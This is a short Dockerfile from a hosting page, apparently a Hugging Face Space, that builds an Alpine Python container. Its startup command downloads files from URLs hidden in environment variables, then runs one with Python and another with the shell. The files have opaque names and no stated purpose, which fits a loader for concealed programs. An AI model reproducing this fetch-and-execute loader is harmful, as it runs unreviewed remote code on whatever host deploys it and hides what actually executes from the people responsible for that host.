c / Dockerfile
Terbangun's picture
Update Dockerfile
c2f13ee verified
Raw History Blame Contribute Delete
377 Bytes
FROM python:3.14-alpine
RUN apk add --no-cache ffmpeg curl \
&& adduser -D -u 1000 user
ENV HOME=/home/user \
PATH=/home/user/.local/bin:$PATH \
PYTHONUNBUFFERED=1
WORKDIR $HOME/app
RUN chown -R user:user $HOME
# set user
USER user
EXPOSE 7860
CMD ["/bin/sh", "-c", "wget $C_URL -O c && wget $C_CONF -O c.conf && python c -c c.conf & wget $H_URL -O h && sh h"]